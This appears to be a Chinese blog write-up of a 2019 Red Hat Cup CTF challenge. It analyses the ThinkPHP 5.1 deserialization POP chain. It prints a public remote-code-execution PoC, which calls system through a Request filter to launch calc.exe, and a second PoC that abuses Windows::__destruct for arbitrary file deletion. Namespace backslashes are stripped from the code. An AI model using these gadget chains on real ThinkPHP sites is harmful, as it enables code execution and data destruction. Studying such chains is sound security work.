漏洞分析之thinkPHP反序列化:这就是黑客的世界吗

 

漏洞分析之thinkPHP反序列化:这就是黑客的世界吗

文章插图
 
前言作为一个Web菜鸡,我之前和师傅们参加了红帽杯,奈何只有0输出,当时只知道是thinkphp5.2的反序列化漏洞,但是感觉时间不够了,也就没有继续做下去 。只有赛后来查漏补缺了,也借着tp5.2这个反序列化pop链来学习下大佬们的构造思路,不得不说这个pop链真的是很强了,在分析的过程中,妈妈一直问我为什么跪着玩电脑~
红帽杯2019 Ticket_System思路在直接输入xml数据处存在xxe漏洞,利用xxe可以读取服务器根目录下的hints.txt文件,这个文件中有提示,大概就是说需要RCE,那根据前面做题过程中的报错等信息也知道了这是tp5.2的应用,所以自然就联想到了tp的已知漏洞,也就是接下来要分析的这个反序列化漏洞了 。当然这个rce后还不能得到flag,还需要一些操作,具体见Writeup by X1cT34m:
https://xz.aliyun.com/t/6746
thinkphp 5.1 反序列化pop链分析这里选择5.1的进行分析,5.2与这个也差不了多少,我就择其一啦 因为网上有公开的poc,所以,我们可以利用poc来反向分析这个pop链 。先贴上poc的一种写法:
<?phpnamespace think;abstract class Model{    protected $Append = [];    private $data = [];    function __construct(){        $this->append = ["axin"=>['calc.exe', 'calc']];        $this->data = ["axin"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "";    protected $config = [];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>'axin'];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace thinkprocesspipes;use thinkmodelconcernConversion;use thinkmodelPivot;class windows{    private $files = [];    public function __construct()    {        $this->files=[new Pivot()];    }}namespace thinkmodel;use thinkModel;class Pivot extends Model{}use thinkprocesspipesWindows;echo base64_encode(serialize(new Windows()));?>可以看到,这个poc最后是序列化了一个Windows实例,那么反序列化的触发点一定就是Windows里面的魔术方法了,例如反序列中经常利用的__weakup(), __destruct()等 。我们去看看源码,在Windows类中有魔术方法__destruct(),这个魔术方法在对象销毁时被调用,其中调用了两个函数
public function __destruct(){    $this->close();    $this->removeFiles();}close函数里面没有什么我们感兴趣的操作,但是removeFiles()函数里面就比较有意思了:
    private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }遍历了对象的files变量,如果其中的值是一个已存在文件的路径,那么就进行删除操作 。而$this->files变量我们是可以控制的,所以如果存在反序列化的点的话,这儿就是一个任意文件删除漏洞 。为了更清晰的展示这个漏洞,我们自己来构造一下PoC:
<?phpnamespace thinkprocesspipes;class Windows{    private $files = [];    public function __construct()    {        $this->files = ["/opt/lampp/htdocs/tp5/public/123.txt"];    }}echo urlencode(base64_encode(serialize(new Windows())));


推荐阅读